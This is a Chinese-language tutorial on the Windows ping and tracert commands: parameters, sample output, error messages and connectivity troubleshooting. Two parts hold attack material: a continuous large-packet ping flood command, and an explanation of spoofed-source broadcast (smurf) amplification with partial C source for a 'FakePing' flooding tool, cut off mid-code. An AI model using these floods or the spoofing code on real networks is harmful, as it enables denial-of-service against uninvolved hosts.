文档库

最新最全的文档下载
当前位置:文档库 > Ping_命令的使用

Ping_命令的使用

Ping 命令的使用

以下是PING的一些参数:

ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j computer-list] | [-k computer-list] [-w timeout] destination-list

........

-t

Ping 指定的计算机直到中断。

-a

将地址解析为计算机名。

-n count

发送count 指定的ECHO 数据包数。默认值为4。

-l length

发送包含由length 指定的数据量的ECHO 数据包。默认为32 字节;最大值是65,527。

-f

在数据包中发送"不要分段"标志。数据包就不会被路由上的网关分段。

-i ttl

将"生存时间"字段设置为ttl 指定的值。

-v tos

将"服务类型"字段设置为tos 指定的值。

-r count

在"记录路由"字段中记录传出和返回数据包的路由。count 可以指定最少1 台,最多9 台计算机。

-s count

指定count 指定的跃点数的时间戳。

-j computer-list

利用computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为9。

-k computer-list

利用computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为9。

-w timeout

指定超时间隔,单位为毫秒。

destination-list

指定要ping 的远程计算机。

Ping的返回信息有"Request Timed Out"、"Destination Net Unreachable"和"Bad IP address"还有"Source quench received"。

"Request Timed Out"这个信息表示对方主机可以到达到TIME OUT,这种情况通常是为对方拒绝接收你发给它的数据包造成数据包丢失。大多数的原因可能是对方装有防火墙或已下线。

"Destination Net Unreachable"这个信息表示对方主机不存在或者没有跟对方建立连接。这里要说明一下"destination host unreachable"和"time out"的区别,如果所经过的路由器的路由表中具有到达目标的路由,而目标因为其它原因不可到达,这时候会出现"time out",如果路由表中连到达目标的路由都没有,那就会出现"destination host unreachable"。

"Bad IP address" 这个信息表示你可能没有连接到DNS服务器所以无法解析这个IP地址,也可能是IP地址不存在。

"Source quench received"信息比较特殊,它出现的机率很少。它表示对方或中途的服务器繁忙无法回应

PING测试

1.Ping本机IP

例如本机IP地址为:172.168.200.2。则执行命令Ping 172.168.200.2。如果网卡安装配置没有问题,则应有类似下列显示:

Replay from 172.168.200.2 bytes=32 time<10ms

Ping statistics for 172.168.200.2

Packets Sent=4 Received=4 Lost=0 0% loss

Approximate round trip times in milli-seconds

Minimum=0ms Maxiumu=1ms Average=0ms

如果在MS-DOS方式下执行此命令显示内容为:Request timed out,则表明网卡安装或配置有问题。将网线断开再次执行此命令,如果显示正常,则说明本机使用的IP地址可能与另一台正在使用的机器IP地址重复了。如果仍然不正常,则表明本机网卡安装或配置有问题,需继续检查相关网络配置。

2.Ping网关IP

假定网关IP为:172.168.6.1,则执行命令Ping 172.168.6.1。在MS-DOS方式下执行此命令,如果显示类似以下信息:

Reply from 172.168.6.1 bytes=32 time=9ms TTL=255

Ping statistics for 172.168.6.1

Packets Sent=4 Received=4 Lost=0

Approximate round trip times in milli-seconds

Minimum=1ms Maximum=9ms Average=5ms

则表明局域网中的网关路由器正在正常运行。反之,则说明网关有问题。

3.Ping远程IP

这一命令可以检测本机能否正常访问Internet。比如本地电信运营商的IP地址为:202.102.48.141。在MS-DOS方式下执行命令:Ping 202.102.48.141,如果屏幕显示:Reply from 202.102.48.141 bytes=32 time=33ms TTL=252

Reply from 202.102.48.141 bytes=32 time=21ms TTL=252

Reply from 202.102.48.141 bytes=32 time=5ms TTL=252

Reply from 202.102.48.141 bytes=32 time=6ms TTL=252

Ping statistics for 202.102.48.141

Packets Sent=4 Received=4 Lost=0 0% loss

Approximate round trip times in milli-seconds

Minimum=5ms Maximum=33ms Average=16ms

则表明运行正常,能够正常接入互联网。反之,则表明主机文件(windows/host)存在问题。

PING命令参数详解

《ping的参数!》

ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]

[-w timeout] destination-list

Ping 命令可以用来验证与远程计算机的连接。(该命令只有在安装了TCP/IP协议后才能使用)

【参数说明】:

-t :一直Ping指定的计算机,直到从键盘按下Ctrl+C中断。

-a :将地址解析为计算机NetBios名。

-n :发送count指定的ECHO数据包数,通过这个命令可以自己定义发送的个数,对衡量网络速度很有帮助。能够测试发送数据包的返回平均时间,及时间的快慢程度。默认值为4。

-l :发送指定数据量的ECHO数据包。默认为32 字节;最大值是65500byt。

-f :在数据包中发送“不要分段”标志,数据包就不会被路由上的网关分段。通常你所发送的数据包都会通过路由分段再发送给对方,加上此参数以后路由就不会再分段处理。

-i :将“生存时间”字段设置为TTL指定的值。指定TTL值在对方的系统里停留的时间。同时检查网络运转情况的。

-v :tos 将“服务类型”字段设置为tos 指定的值。

-r :在“记录路由”字段中记录传出和返回数据包的路由。通常情况下,发送的数据包是通过一系列路由才到达目标地址的,通过此参数可以设定,想探测经过路由的个数。限定能跟踪到9个路由。

-s :指定count 指定的跃点数的时间戳。与参数-r差不多,但此参数不记录数据包返回所经过的路由,最多只记录4个。

-j :利用computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源) IP 允许的最大数量为9。

-k :computer-list 利用computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为9。

-w:timeout 指定超时间隔,单位为毫秒。

destination-list:指定要ping 的远程计算机。

一般情况下,通过ping目标地址,可让对方返回TTL值的大小,通过TTL值可以粗略判断目标主机的系统类型是Windows还是UNIX/Linux,一般情况下Windows系统返回的TTL值在100-130之间,而UNIX/Linux系统返回的TTL值在240-255之间。但TTL的值是可以修改的。故此种方法可作为参考.

【一般操作方法如下】:

C:\>ping www.yahoo com

Pinging www.yahoo.akadns net [66.218.71.81] with 32 bytes of data:

Reply from 66.218.71.81: bytes=32 time=160ms TTL=41

Reply from 66.218.71.81: bytes=32 time=150ms TTL=41

Reply from 66.218.71.81: bytes=32 time=160ms TTL=41

Reply from 66.218.71.81: bytes=32 time=161ms TTL=41

Ping statistics for 66.218.71.81:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate

round trip times in milli-seconds:

Minimum = 150ms, Maximum = 161ms, Average = 157ms

--------------------------------------------------------------------------------

Tracerttracert

Tracert 该诊断实用程序将包含不同生存时间(TTL) 值的Internet 控制消息协议(ICMP)

回显数据包发送到目标,以决定到达目标采用的路由。要在转发数据包上的TTL 之前至少递减1,必需路径上的每个路由器,所以TTL

是有效的跃点计数。数据包上的TTL 到达0 时,路由器应该将“ICMP 已超时”的消息发送回源系统。Tracert 先发送TTL为1 的回显数据包,并在随后的每次发送过程将TTL 递增1,直到目标响应或TTL 达到最大值,从而确定路由。路由通过检查中级路由器发送回的“ICMP 已超时”的消息来确定路由。不过,有些路由器悄悄地下传包含过期TTL 值的数据包,而tracert 看不到。

tracert [-d] [-h maximum_hops] [-j computer-list] [-w timeout]

target_name

参数说明:

/d 指定不将地址解析为计算机名。

-h maximum_hops 指定搜索目标的最大跃点数。

-j computer-list 指定沿computer-list 的稀疏源路由。

-w timeout 每次应答等待timeout 指定的微秒数。

target_name 目标计算机的名称。

一般操作方法如下:

C:\>tracert www.yahoo com

Tracing route to www.yahoo.akadns net [66.218.71.81] over a maximum

of 30 hops:

1 10 ms <10 ms <10 ms 192.168.0.7

2 <10 ms 10 ms <10 ms 210.192.97.129

3 <10 ms 20 ms 10 ms 192.168.200.21

4 <10 ms 10 ms 10 ms 203.212.0.69

5 <10 ms 10 ms 10 ms 202.108.252.1

6 10 ms 10 ms <10 ms 202.106.193.201

7 10 ms 20 ms 20 ms 202.106.193.169

8 <10 ms 10 ms 10 ms 202.106.192.226

9 <10 ms 10 ms 10 ms 202.96.12.45

10 20 ms 30 ms 20 ms p-6-0-r1-c-shsh-1 cn net [202.97.34.34]

11 20 ms 30 ms 30 ms p-3-0-r3-i-shsh-1 cn net [202.97.33.74]

12 160 ms 161 ms 160 ms if-7-7.core1.LosAngeles.Teleglobe net

[207.45.193.73]

13 200 ms 201 ms 200 ms if-4-0.core1.Sacramento.Teleglobe net

[64.86.83.170]

14 190 ms 190 ms 190 ms if-2-0.core1.PaloAlto.Teleglobe net

[64.86.83.201]

15 160 ms 160 ms 160 ms ix-5-0.core1.PaloAlto.Teleglobe net

[207.45.196.90]

16 180 ms 180 ms 160 ms ge-1-3-0.msr1.pao.yahoo com

[216.115.100.150]

17 170 ms 210 ms 321 ms vl10.bas1.scd.yahoo com [66.218.64.134]

18 170 ms 170 ms 170 ms w2.scd.yahoo com [66.218.71.81]

===============================================

对于Windows下ping命令相信大家已经再熟悉不过了,但是能把ping的功能发挥到最大的人却并不是很多,当然我也并不是说我可以让ping发挥最大的功能,我也只不过经常用ping这个工具,也总结了一些小经验,现在和大家分享一下。

现在我就参照ping命令的帮助说明来给大家说说我使用ping时会用到的技巧,ping只有在安装了TCP/IP协议以后才可以使用:

ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j computer-list] | [-k computer-list] [-w timeout] destination-list

Options:

-t Ping the specified host until stopped To see statistics and continue - type

Control-Break;To stop - type Control-C.

不停的ping地方主机,直到你按下Control-C。

此功能没有什么特别的技巧,不过可以配合其他参数使用,将在下面提到。

-a Resolve addresses to hostnames.

解析计算机NetBios名。

示例:C:\>ping -a 192.168.1.21

Pinging iceblood.yofor com [192.168.1.21] with 32 bytes of data:

Reply from 192.168.1.21: bytes=32 time<10ms TTL=254

Reply from 192.168.1.21: bytes=32 time<10ms TTL=254

Reply from 192.168.1.21: bytes=32 time<10ms TTL=254

Reply from 192.168.1.21: bytes=32 time<10ms TTL=254

Ping statistics for 192.168.1.21:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms

从上面就可以知道IP为192.168.1.21的计算机NetBios名为iceblood.yofor com。

n count Number of echo requests to send.

发送count指定的Echo数据包数。

在默认情况下,一般都只发送四个数据包,通过这个命令可以自己定义发送的个数,对衡量网络速度很有帮助,比如我想测试发送50个数据包的返回的平均时间为多少,最快时间为多少,最慢时间为多少就可以通过以下获知:

C:\>ping -n 50 202.103.96.68

Pinging 202.103.96.68 with 32 bytes of data:

Reply from 202.103.96.68: bytes=32 time=50ms TTL=241

Reply from 202.103.96.68: bytes=32 time=50ms TTL=241

Reply from 202.103.96.68: bytes=32 time=50ms TTL=241

Request timed out.

………………

Reply from 202.103.96.68: bytes=32 time=50ms TTL=241

Reply from 202.103.96.68: bytes=32 time=50ms TTL=241

Ping statistics for 202.103.96.68:

Packets: Sent = 50, Received = 48, Lost = 2 (4% loss),Approximate round trip times in milli-seconds:

Minimum = 40ms, Maximum = 51ms, Average = 46ms

从以上我就可以知道在给202.103.96.68发送50个数据包的过程当中,返回了48个,其中有两个由于未知原因丢失,这48个数据包当中返回速度最快为40ms,最慢为51ms,平均速度为46ms。

l size Send buffer size.

定义echo数据包大小。

在默认的情况下windows的ping发送的数据包大小为32byt,我们也可以自己定义它的大小,但有一个大小的限制,就是最大只能发送65500byt,也许有人会问为什么要限制到65500byt,因为Windows系列的系统都有一个安全漏洞(也许还包括其他系统)就是当向对方一次发送的数据包大于或等于65532时,对方就很有可能挡机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制,但这个参数配合其他参数以后危害依然非常强大,比如我们就可以通过配合-t参数来实现一个带有攻击性的命令:(以下介绍带有危险性,仅用于试验,请勿轻易施于别人机器上,否则后果自负)

C:\>ping -l 65500 -t 192.168.1.21

Pinging 192.168.1.21 with 65500 bytes of data:

Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254

Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254

………………

这样它就会不停的向192.168.1.21计算机发送大小为65500byt的数据包,如果你只有一台计算机也许没有什么效果,但如果有很多计算机那么就可以使对方完全瘫痪,我曾经就做过这样的试验,当我同时使用10台以上计算机ping一台Win2000Pro系统的计算机时,不到5分钟对方的网络就已经完全瘫痪,网络严重堵塞,HTTP和FTP服务完全停止,由此可见威力非同小可。

-f Set Don<|>t Fragment flag in packet.

在数据包中发送“不要分段”标志。

在一般你所发送的数据包都会通过路由分段再发送给对方,加上此参数以后路由就不会再分段处理。

-i TTL Time To Live.

指定TTL值在对方的系统里停留的时间。

此参数同样是帮助你检查网络运转情况的。

-v TOS Type Of Service.

将“服务类型”字段设置为tos 指定的值。

r count Record route for count hops.

在“记录路由”字段中记录传出和返回数据包的路由。

在一般情况下你发送的数据包是通过一个个路由才到达对方的,但到底是经过了哪些路由呢?通过此参数就可以设定你想探测经过的路由的个数,不过限制在了9个,也就是说你只能跟踪到9个路由,如果想探测更多,可以通过其他命令实现,我将在以后的文章中给大家讲解。以下为示例:

C:\>ping -n 1 -r 9 202.96.105.101 (发送一个数据包,最多记录9个路由)

Pinging 202.96.105.101 with 32 bytes of data:

Reply from 202.96.105.101: bytes=32 time=10ms TTL=249

Route: 202.107.208.187 ->

202.107.210.214 ->

61.153.112.70 ->

61.153.112.89 ->

202.96.105.149 ->

202.96.105.97 ->

202.96.105.101 ->

202.96.105.150 ->

61.153.112.90

Ping statistics for 202.96.105.101:

Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 10ms, Maximum = 10ms, Average = 10ms

从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。

指定count 指定的跃点数的时间戳。

此参数和-r差不多,只是这个参数不记录数据包返回所经过的路由,最多也只记录4个。

-j host-list Loose source route along host-list.

利用computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为9。

-k host-list Strict source route along host-list.

利用computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为9。

-w timeout Timeout in milliseconds to wait for each reply.

指定超时间隔,单位为毫秒。

此参数没有什么其他技巧。

ping命令的其他技巧:在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL 值在240-255之间,当然TTL的值在对方的主机里是可以修改的,Windows系列的系统可以通过修改注册表以下键值实现:

[HKEY_LOCAL_MACHINE\sys tem\CurrentControlSet\Services\Tcpip\Parameters]

"DefaultTTL"=dword:000000ff

255---FF

128---80

64----40

32----20

Ping是个使用频率极高的网络诊断程序,用于确定本地主机是否能与另一台主机交换(发送与接收)数据报。根据返回的信息,你就可以推断TCP/IP参数是否设置得正确以及运行是否正常。需要注意的是:成功地与另一台主机进行一次或两次数据报交换并不表示TCP/IP配置就是正确的,你必须执行大量的本地主机与远程主机的数据报交换,才能确信TCP/IP的正确性。

===============================================

Ping的返回信息有"Request Timed Out"、"Destination Net Unreachable"和"Bad IP address"还有"Source quench received"。

"Request Timed Out"这个信息表示对方主机可以到达到TIME OUT,这种情况通常是

为对方拒绝接收你发给它的数据包造成数据包丢失。大多数的原因可能是对方装有防火墙或已下线。

"Destination Net Unreachable"这个信息表示对方主机不存在或者没有跟对方建立连接。这里要说明一下"destination host unreachable"和"time out"的区别,如果所经过的路由器的路由表中具有到达目标的路由,而目标因为其它原因不可到达,这时候会出现"time out",

如果路由表中连到达目标的路由都没有,那就会出现"destination host unreachable"。

"Bad IP address" 这个信息表示你可能没有连接到DNS服务器所以无法解析这个IP

地址,也可能是IP地址不存在。

"Source quench received"信息比较特殊,它出现的机率很少。它表示对方或中途的服务器繁忙无法回应。

===============================================

怎样使用Ping这命令来测试网络连通呢?

连通问题是由许多原因引起的,如本地配置错误、远程主机协议失效等,当然还包括设备等造成的故障。

首先我们讲一下使用Ping命令的步骤。

使用Ping检查连通性有六个步骤:

1. 使用ipconfig /all观察本地网络设置是否正确;

2. Ping 127.0.0.1,127.0.0.1 回送地址Ping回送地址是为了检查本地的TCP/IP协议有没有设置好;

3. Ping本机IP地址,这样是为了检查本机的IP地址是否设置有误;

4. Ping本网网关或本网IP地址,这样的是为了检查硬件设备是否有问题,也可以检查本机与本地网络连接是否正常;(在非局域网中这一步骤可以忽略)

5.Ping本地DNS地址,这样做是为了检查DNS是否能够将IP。

6.Ping远程IP地址,这主要是检查本网或本机与外部的连接是否正常。

===============================================

在检查网络连通的过程中可能出现一些错误,这些错误总的来说分为两种最常见。

1. Request Timed Out

"request time out"这提示除了在《PING(一)》提到的对方可能装有防火墙或已关机以外,还有就是本机的IP不正确和网关设置错误。

①、IP不正确:

IP不正确主要是IP地址设置错误或IP地址冲突,这可以利用ipconfig /all这命令来检查。在WIN2000下IP冲突的情况很少发生,因为系统会自动检测在网络中是否有相同的IP地址并提醒你是否设置正确。在NT中不但会出现"request time out"这提示而且会出现"Hardware error"这提示信息比较特殊不要给它的提示所迷惑。

②、网关设置错误:这个错误可能会在第四个步骤出现。网关设置错误主要是网关地址设置不正确或网关没有帮你转发数据,还有就是可能远程网关失效。这里主要是在你Ping 外部网络地址时出错。错误表现为无法Ping外部主机返回信息"Request timeout"。

2. Destination Host Unreachable

当你在开始PING网络计算机时如果网络设备出错它返回信息会提示"destination host unreachable"。如果局域网中使用DHCP分配IP时,而碰巧DHCP失效,这时使用PING 命令就会产生此错误。因为在DHCP失效时客户机无法分配到IP系统只有自设IP,它往往会设为不同子网的IP。所以会出现"Destination Host Unreachable"。另外子网掩码设置错误也会出现这错误。

还有一个比较特殊就是路由返回错误信息,它一般都会在"Destination Host Unreachable"前加上IP地址说明哪个路由不能到达目标主机。这说明你的机器与外部网络连接没有问题,但与某台主机连接存在问题。

PING的各类反馈信息

Request timed out

[1]

a.对方已关机,或者网络上根本没有这个地址:比如在上图中主机A中PING

192.168.0.7 ,或者主机B关机了,在主机A中PING 192.168.0.5 都会得到超时的信息。

b.对方与自己不在同一网段内,通过路由也无法找到对方,但有时对方确实是存在的,当然不存在也是返回超时的信息。

c.对方确实存在,但设置了ICMP数据包过滤(比如防火墙设置)

怎样知道对方是存在,还是不存在呢,可以用带参数-a 的Ping命令探测对方,如果能得到对方的NETBIOS名称,则说明对方是存在的,是有防火墙设置,如果得不到,多半是对方不存在或关机,或不在同一网段内。

d.错误设置IP地址

正常情况下,一台主机应该有一个网卡,一个IP地址,或多个网卡,多个IP地址(这些地址一定要处于不同的IP子网)。但如果一台电脑的“拨号网络适配器”(相当于一块软网卡)的TCP/IP设置中,设置了一个与网卡IP地址处于同一子网的IP地址,这样,在IP 层协议看来,这台主机就有两个不同的接口处于同一网段内。当从这台主机Ping其他的机器时,会存在这样的问题:

A.主机不知道将数据包发到哪个网络接口,因为有两个网络接口都连接在同一网段。

B.主机不知道用哪个地址作为数据包的源地址。因此,从这台主机去Ping其他机器,IP层协议会无法处理,超时后,Ping 就会给出一个“超时无应答”的错误信息提示。但从其他主机Ping这台主机时,请求包从特定的网卡来,ICMP只须简单地将目的、源地址互换,并更改一些标志即可,ICMP应答包能顺利发出,其他主机也就能成功Ping通这台机器了。

Destination host Unreachable

对方与自己不在同一网段内,而自己又未设置默认的路由,比如上例中A机中不设定默认的路由,运行Ping 192.168.1.4就会出现“Destination host Unreachable”。

网线出了故障

这里要说明一下“destination host unreachable”和“time out”的区别,如果所经过的路由器的路由表中具有到达目标的路由,而目标因为其他原因不可到达,这时候会出现“time out”,如果路由表中连到达目标的路由都没有,那就会出现“destination host unreachable”。

Bad IP address

这个信息表示您可能没有连接到DNS服务器,所以无法解析这个IP地址,也可能是IP地址不存在。

Source quench received

这个信息比较特殊,它出现的机率很少。它表示对方或中途的服务器繁忙无法回应。

Unknown host——不知名主机

这种出错信息的意思是,该远程主机的名字不能被域名服务器(DNS)转换成IP地址。故障原因可能是域名服务器有故障,或者其名字不正确,或者网络管理员的系统与远程主机之间的通信线路有故障。

No answer——无响应

这种故障说明本地系统有一条通向中心主机的路由,但却接收不到它发给该中心主机的任何信息。故障原因可能是下列之一:中心主机没有工作;本地或中心主机网络配置不正确;本地或中心的路由器没有工作;通信线路有故障;中心主机存在路由选择问题。

Ping 127.0.0.1:127.0.0.1是本地循环地址

如果本地址无法Ping通,则表明本地机TCP/IP协议不能正常工作。

no rout to host:网卡工作不正常

伪装IP地址的洪水Ping攻击

最近不少人又来号召大家一起去Ping死什么什么网站,不过从技术上来说,无论什么拒绝服务攻击方式,都需要满足一个条件:用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的:用最大的资源换取对方最小的伤害;也是可笑的:人民战争大概属于50多年前的行为了,在互联网时代,并不是人多就能如何如何的。

我们今天是来说Ping的,Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具,很久以前,一部分操作系统(例如win95),不能很好处理过大的Ping 包,导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络),随着操作系统的升级,网络带宽的升级、计算机硬件的升级,目前,大Ping包基本上没有很大的攻击效果(分布式攻击除外),如果一定要使用Ping包去攻击别的主机,除非是利用TCP/IP 协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度(所谓正反馈)

正常情况下,Ping的流程是这样的:

主机A发送ICMP 8,0报文给主机B

主机B回送ICMp 0,0报文给主机A

因为ICMP基于无连结,所以就给了我们可乘之机,假设现在主机A伪装成主机C发送ICMP 8,0报文,结果会怎么样呢?显然,主机B会以为是主机C发送的报文而去回应主机C,结构如下:

伪装为主机C 错误的回复

主机A--------------------->主机B------------------>主机C

这种情况下,由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply,所以攻击力度成倍的增加,同时实际上主机B和主机C都是被进攻的目标,而且不会留下自己的痕迹,是一种隐蔽的一石二鸟的攻击方法。

上面的方法用SOCK_RAW伪装IP就可以轻松实现,不过即使放大了两倍,对于比较强壮的操作系统和较大的带宽,也不见得有多大的效果,难道我们又来组织运动?不好吧,还是让敌人给我们放大好了,TCP/IP中有一个概念叫做广播,所谓广播的意思是说有一个地址,任何局域网内的主机都会接收发往这个地址的报文(就像电台广播一样),要是?难道?没错!如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,会看到很多回应的的dup包,就是重复的应答,windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包,收到第一个包以后就丢弃后面的了,同样微软的系统默认也不回应广播地址的包,所以你最好在一个大量unix主机的局域网内测试。

说到这里,聪明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,没错,当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候,所有这个广播地址内的主机都会回应这个Ping 请求,这样,相当于是N倍的攻击力度!(N=广播地址内回应Ping包的主机数量)

伪装为主机C 所有广播主机都会错误的回复

主机A--------------------->广播地址=========================>主机C

我写了一个FakePing的工具,可以在http://www.wendangku.net/doc/0252275b3b3567ec102d8a25.html/shotgun/FakePing.exe下载。

使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是广播地址,那么FakeIP是被攻击目标。

源码公布如下:

typedef struct _iphdr //定义IP首部

{

unsigned char h_verlen; //4位首部长度,4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度(字节)

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位

unsigned char ttl; //8位生存时间TTL

unsigned char proto; //8位协议(TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址

}IP_HEADER;

// 定义ICMP首部

typedef struct _ihdr

{

BYTE i_type; //8位类型

BYTE i_code; //8位代码

USHORT i_cksum; //16位校验和

USHORT i_id; //识别号(一般用进程号作为识别号)

USHORT i_seq; //报文序列号

ULONG timestamp; //时间戳

}ICMP_HEADER;

//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1)

{

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size )

{

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

//FakePing主函数

int main(int argc, char **argv)

{

int datasize,ErrorCode,counter,flag;

int TimeOut=2000, SendSEQ=0, PacketSize=32;

char SendBuf[65535]={0};

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

ICMP_HEADER icmp_header;

char FakeSourceIp[20],DestIp[20];

//接受命令行参数

if (argc<3)

{

printf("FakePing by Shotgun

");

printf(" This program can do Ping-Flooding from a FakeIP ");

printf(" Using a BroadCast IP as the FakeIP will enhance the effect ");

printf("Email:

");

printf(" Shotgun@http://www.wendangku.net/doc/0252275b3b3567ec102d8a25.html

");

printf("HomePage:

");

printf(" http://www.wendangku.net/doc/0252275b3b3567ec102d8a25.html

");

printf(" http://www.wendangku.net/doc/0252275b3b3567ec102d8a25.html

");

printf("USAGE:

FakePing.exe FakeSourceIp DestinationIp [PacketSize] ");

printf("Example:

");

printf(" FakePing.exe 192.168.15.23 192.168.15.255 ");

printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400 ");

exit(0);

}

strcpy(FakeSourceIp,argv[1]);

strcpy(DestIp,argv[2]);

if (argc>3) PacketSize=atoi(argv[3]);

if (PacketSize>60000)

{

printf("Error! Packet size too big, must <60K

");

exit(0);

}

printf("Now Fake %s Ping %s using Packet size=%d bytes ",

FakeSourceIp, DestIp, PacketSize);

printf(" Ctrl+C to Quit

");

//初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)

{

fprintf(stderr,"WSAStartup failed: %d

",ErrorCode);

ExitProcess(STATUS_FAILED);

}

if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG _OVERLAPPED))==INVALID_SOCKET)

{

fprintf(stderr,"WSASocket() failed: %d

",WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

flag=TRUE;

//设置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if(ErrorCode==SOCKET_ERROR)

printf("Set IP_HDRINCL Error!

");

__try

{

//设置发送超时

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof( TimeOut));

if (ErrorCode==SOCKET_ERROR)

{

fprintf(stderr,"Failed to set send TimeOut: %d

",WSAGetLastError());

__leave;

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(DestIp);

//填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节)

ip_header.ident=1;

//16位标识

ip_header.frag_and_flags=0;

//3位标志位

ip_header.ttl=128;

//8位生存时间TTL

ip_header.proto=IPPROTO_ICMP;